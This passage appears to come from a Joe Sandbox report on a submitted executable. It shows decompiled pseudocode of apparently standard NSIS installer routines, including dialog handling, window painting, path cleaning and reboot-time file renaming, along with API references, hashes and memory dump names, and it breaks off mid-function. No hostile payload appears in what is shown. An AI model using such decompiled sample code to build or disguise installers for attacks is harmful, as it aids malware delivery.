								 *0x41fd1c =  *0x41fd1c + 1;
								__eflags =  *0x41fd1c;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00404313(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
								_t100 =  *((intOrPtr*)(_t110 + 0x1c));
								_t109 =  *((intOrPtr*)(_t110 + 0x18));
								_v12 = _t100;
								__eflags = _t100 - _t109 - 0x800;
								_v16 = _t109;
								_v8 = 0x4236e0;
								if(_t100 - _t109 < 0x800) {
									SendMessageA(_t52, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorA(0, 0x7f02));
									_push(1);
									_t40 =  &_v8; // 0x4236e0
									E004046BB(_a4,  *_t40);
									SetCursor(LoadCursorA(0, 0x7f00));
									_t110 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x700;
						if( *((intOrPtr*)(_t110 + 8)) != 0x700) {
							goto L26;
						} else {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
								goto L26;
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x424748, 0x111, 1, 0);
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x424748, "true", 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L25;
					}
					__eflags =  *0x41fd1c; // 0x0
					if(__eflags != 0) {
						goto L25;
					}
					_t103 =  *0x420528; // 0x55bd6c
					_t25 = _t103 + 0x14; // 0x55bd80
					_t112 = _t25;
					__eflags =  *_t112 & 0x00000020;
					if(( *_t112 & 0x00000020) == 0) {
						goto L25;
					}
					_t106 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t106;
					 *_t112 = _t106;
					E004042CE(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E00404697();
					goto L11;
				} else {
					_t98 = _a16;
					_t113 =  *(_t98 + 0x30);
					if(_t113 < 0) {
						_t107 =  *0x423f1c; // 0x55dd3b
						_t113 =  *(_t107 - 4 + _t113 * 4);
					}
					_push( *((intOrPtr*)(_t98 + 0x34)));
					_t114 = _t113 +  *0x424798;
					_push(0x22);
					_a16 =  *_t114;
					_v12 = _v12 & 0x00000000;
					_t115 = _t114 + 1;
					_v16 = _t115;
					_v8 = E004043E2;
					E004042AC(_a4);
					_push( *((intOrPtr*)(_t98 + 0x38)));
					_push(0x23);
					E004042AC(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
					E004042CE( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
					_t99 = GetDlgItem(_a4, 0x3e8);
					E004042E1(_t99);
					SendMessageA(_t99, 0x45b, 1, 0);
					_t86 =  *( *0x424754 + 0x68);
					if(_t86 < 0) {
						_t86 = GetSysColor( ~_t86);
					}
					SendMessageA(_t99, 0x443, 0, _t86);
					SendMessageA(_t99, 0x445, 0, 0x4010000);
					SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
					 *0x41fd1c = 0;
					SendMessageA(_t99, 0x449, _a16,  &_v16);
					 *0x41fd1c = 0;
					return 0;
				}
			}

0x00404427
0x00404539
0x0040454c
0x004045a8
0x004045a8
0x004045ac
0x00404672
0x00404679
0x0040467b
0x0040467b
0x0040467b
0x00404681
0x00404681
0x00404684
0x00000000
0x0040468b
0x004045ba
0x004045bc
0x004045bf
0x004045c6
0x004045c8
0x004045cf
0x004045d1
0x004045d4
0x004045d7
0x004045dc
0x004045e2
0x004045e5
0x004045ec
0x004045fa
0x00404612
0x00404614
0x00404616
0x0040461c
0x0040462b
0x0040462d
0x0040462d
0x004045ec
0x004045cf
0x00404630
0x00404637
0x00000000
0x00404639
0x00404639
0x00404640
0x00000000
0x00000000
0x00404642
0x00404646
0x00404657
0x00404657
0x00404659
0x0040465d
0x0040466b
0x0040466b
0x00000000
0x0040466f
0x00404637
0x00404554
0x00404557
0x00000000
0x00000000
0x0040455f
0x00404565
0x00000000
0x00000000
0x0040456b
0x00404571
0x00404571
0x00404574
0x00404577
0x00000000
0x00000000
0x0040459a
0x0040459a
0x0040459c
0x0040459e
0x004045a3
0x00000000
0x0040442d
0x0040442d
0x00404430
0x00404435
0x00404437
0x00404446
0x00404446
0x0040444d
0x00404450
0x00404452
0x00404457
0x00404460
0x00404466
0x00404472
0x00404475
0x0040447e
0x00404483
0x00404486
0x0040448b
0x004044a2
0x004044a9
0x004044bc
0x004044bf
0x004044d4
0x004044db
0x004044e0
0x004044e5
0x004044e5
0x004044f4
0x00404503
0x00404515
0x0040451a
0x0040452a
0x0040452c
0x00000000
0x00404532

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004044A2
GetDlgItem.USER32(00000000,000003E8), ref: 004044B6
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004044D4
GetSysColor.USER32(?), ref: 004044E5
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004044F4
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404503
lstrlenA.KERNEL32(?), ref: 00404506
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404515
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 0040452A
GetDlgItem.USER32(?,0000040A), ref: 0040458C
SendMessageA.USER32(00000000), ref: 0040458F
GetDlgItem.USER32(?,000003E8), ref: 004045BA
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004045FA
LoadCursorA.USER32(00000000,00007F02), ref: 00404609
SetCursor.USER32(00000000), ref: 00404612
LoadCursorA.USER32(00000000,00007F00), ref: 00404628
SetCursor.USER32(00000000), ref: 0040462B
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404657
SendMessageA.USER32(?,00000000,00000000), ref: 0040466B

Strings

6B, xrefs: 00404616
N, xrefs: 004045A8

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$6B
API String ID: 3103080414-649610290
Opcode ID: 92e91cd1affbd3efd92fc6b3bb7834c3f505693ecc67e2e18e8bcfcef82aadde
Instruction ID: 4db3d1b8578fb28e8129a2e139a0a5bbbdeef9899b51b491bef805f45c6f40d7
Opcode Fuzzy Hash: 92e91cd1affbd3efd92fc6b3bb7834c3f505693ecc67e2e18e8bcfcef82aadde
Instruction Fuzzy Hash: 5761B2B1A00209BFDB109F61DD45F6A3B69EB85310F11843AFB01BA2D1D7BD9952CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E97 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 129
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E97(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				CHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x422ae0 = 0x4c554e;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x422ee0
					_t12 = GetShortPathNameA( *_t2, 0x422ee0, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4226e0, "%s=%s\r\n", 0x422ae0, 0x422ee0);
						_t53 = _t52 + 0x10;
						E004062BB(_t37, 0x400, 0x422ee0, 0x422ee0,  *((intOrPtr*)( *0x424754 + 0x128)));
						_t12 = E00405DC1(0x422ee0, "true", "true");
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc("true", _t42 + _t6);
							if(_t46 == 0 || E00405E39(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405D26(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405D26(_t38, _t21 + 0xa, 0x40a3f0);
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405D7C(_t24 + _t46, 0x4226e0, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405E68(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405DC1(_t44, 0, 1));
					_t12 = GetShortPathNameA(_t44, 0x422ae0, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00405e97
0x00405ea0
0x00405ea7
0x00405ebb
0x00405ee3
0x00405eea
0x00405eee
0x00405ef2
0x00405f12
0x00405f19
0x00405f23
0x00405f30
0x00405f35
0x00405f3a
0x00405f3e
0x00405f4d
0x00405f4f
0x00405f5c
0x00405f60
0x00405ffb
0x00000000
0x00405f76
0x00405f83
0x00405fa7
0x00405fab
0x00405fca
0x00405fce
0x00405fce
0x00405fd0
0x00405fd9
0x00405fe4
0x00405fef
0x00405ff5
0x00000000
0x00405ff5
0x00405fad
0x00405fb0
0x00405fbb
0x00405fb7
0x00405fb9
0x00405fba
0x00405fba
0x00405fc2
0x00405fc4
0x00000000
0x00405fc4
0x00405f8e
0x00405f94
0x00000000
0x00405f94
0x00405f60
0x00405f3e
0x00405ebd
0x00405ec8
0x00405ed1
0x00405ed5
0x00000000
0x00000000
0x00405ed5
0x00406006

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00406028,?,?), ref: 00405EC8
GetShortPathNameA.KERNEL32(?,00422AE0,00000400), ref: 00405ED1

Part of subcall function 00405D26: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D36
Part of subcall function 00405D26: lstrlenA.KERNEL32(00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D68

GetShortPathNameA.KERNEL32(?,00422EE0,00000400), ref: 00405EEE
wsprintfA.USER32 ref: 00405F0C
GetFileSize.KERNEL32(00000000,00000000,00422EE0,C0000000,?,00422EE0,?,?,?,?,?), ref: 00405F47
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405F56
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F8E
SetFilePointer.KERNEL32(0040A3F0,00000000,00000000,00000000,00000000,004226E0,00000000,-0000000A,0040A3F0,00000000,[Rename],00000000,00000000,00000000), ref: 00405FE4
GlobalFree.KERNEL32(00000000), ref: 00405FF5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405FFC

Part of subcall function 00405DC1: GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00405DC5
Part of subcall function 00405DC1: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7

Strings

*B, xrefs: 00405EB6
[Rename], xrefs: 00405F76, 00405F88
%s=%s, xrefs: 00405F02
.B, xrefs: 00405EEA
.B, xrefs: 00405EE3

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]$*B$.B$.B
API String ID: 2171350718-3836630945
Opcode ID: 896eb57cd45c6937ef5ba6ca314d4c351d3ef0413cfa41dbc97e5ce8f5bccc27
Instruction ID: e10df20c38e6db669e3e204b33f1f32e55eddbf12f2a20f16207bac721f49ac6
Opcode Fuzzy Hash: 896eb57cd45c6937ef5ba6ca314d4c351d3ef0413cfa41dbc97e5ce8f5bccc27
Instruction Fuzzy Hash: EA310331200B167BD2206B659E4DF6B3A5CDF45758F14043BF942F62D2EE7CE8118AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x424754;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x423f40, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x424748;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00423F40,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2115552123f79a9609963f7e9290141a6f0abd4dc8a6adc5f5d249a59f4964a3
Instruction ID: db002e3ba225c6bd58a8671fff368fb1669b339ad4166f4ebb51648b269c9ea2
Opcode Fuzzy Hash: 2115552123f79a9609963f7e9290141a6f0abd4dc8a6adc5f5d249a59f4964a3
Instruction Fuzzy Hash: 51419D71800249AFCF058FA5DE459AF7FB9FF45314F00802AF991AA1A0C738DA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406503 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406503(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E00405C2D(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E00405BEB("*?|<>/\":", _t5))) == 0) {
							E00405D7C(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00406505
0x0040650d
0x00406521
0x00406521
0x00406527
0x00406534
0x00406534
0x00406535
0x00406537
0x0040653b
0x0040653d
0x00406546
0x00406548
0x00406562
0x0040656a
0x0040656a
0x0040656f
0x00406571
0x00406573
0x00406577
0x00406578
0x0040657b
0x00406583
0x00406585
0x00406589
0x00000000
0x00000000
0x0040658f
0x00406594
0x00000000
0x00000000
0x00000000
0x00406594
0x00406599

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\sOjxIU25DP.exe",76783410,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040655B
CharNextA.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406568
CharNextA.USER32(?,"C:\Users\user\Desktop\sOjxIU25DP.exe",76783410,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040656D
CharPrevA.USER32(?,?,76783410,C:\Users\user\AppData\Local\Temp\,00000000,0040343C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 0040657D

Strings

"C:\Users\user\Desktop\sOjxIU25DP.exe", xrefs: 0040653F
*?|<>/":, xrefs: 0040654B
C:\Users\user\AppData\Local\Temp\, xrefs: 00406504

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\sOjxIU25DP.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1784113853
Opcode ID: 6624216dd93989c3e415f19addad0263e6dff954d131d517deda7fd7c47402c7
Instruction ID: ed4a40943fe5e2665a2a55f9ea129fd4e03433fedea2fb13391fe05f183277a3
Opcode Fuzzy Hash: 6624216dd93989c3e415f19addad0263e6dff954d131d517deda7fd7c47402c7
Instruction Fuzzy Hash: 5511E26180479139EB3216386C44B77BFD84B577A0F19007FE9C2722CAD67C5C62826D

Uniqueness

Uniqueness Score: -1.00%

Function 00404313 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404313(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x00404325
0x004043db
0x00000000
0x004043db
0x00404336
0x0040433a
0x00000000
0x00404354
0x00404354
0x0040435d
0x00000000
0x00000000
0x0040435f
0x0040436b
0x0040436e
0x0040436e
0x00404374
0x0040437a
0x0040437a
0x00404386
0x0040438c
0x00404393
0x00404396
0x00404399
0x0040439b
0x0040439b
0x004043a3
0x004043a9
0x004043a9
0x004043b3
0x004043b8
0x004043bb
0x004043c0
0x004043c3
0x004043c3
0x004043d3
0x004043d3
0x00000000
0x004043d6

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404330
GetSysColor.USER32(00000000), ref: 0040436E
SetTextColor.GDI32(?,00000000), ref: 0040437A
SetBkMode.GDI32(?,?), ref: 00404386
GetSysColor.USER32(?), ref: 00404399
SetBkColor.GDI32(?,?), ref: 004043A9
DeleteObject.GDI32(?), ref: 004043C3
CreateBrushIndirect.GDI32(?), ref: 004043CD

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
Instruction ID: 4ebf73092ad7484045a31fabae3cd442355fcbc25dfc518f848a7595e5b54366
Opcode Fuzzy Hash: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
Instruction Fuzzy Hash: 592165716007049BCB309F68E948B5BBBF8AF41710B05892EED96E26E0D774E814CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6F6224D8 Relevance: 10.6, APIs: 7, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6F6224D8(intOrPtr* _a4) {
				char _v80;
				int _v84;
				intOrPtr _v88;
				short _v92;
				intOrPtr* _t28;
				void* _t30;
				intOrPtr _t31;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;
				void* _t48;

				_t44 = E6F621215();
				_t28 = _a4;
				_t45 =  *((intOrPtr*)(_t28 + 0x814));
				_v88 = _t45;
				_t48 = (_t45 + 0x41 << 5) + _t28;
				do {
					if( *((intOrPtr*)(_t48 - 4)) >= 0) {
					}
					_t43 =  *(_t48 - 8) & 0x000000ff;
					if(_t43 <= 7) {
						switch( *((intOrPtr*)(_t43 * 4 +  &M6F622626))) {
							case 0:
								 *_t44 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									_v84 = __ecx;
									__ecx =  *(0x6f62307c + __edx * 4);
									__edx = _v84;
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
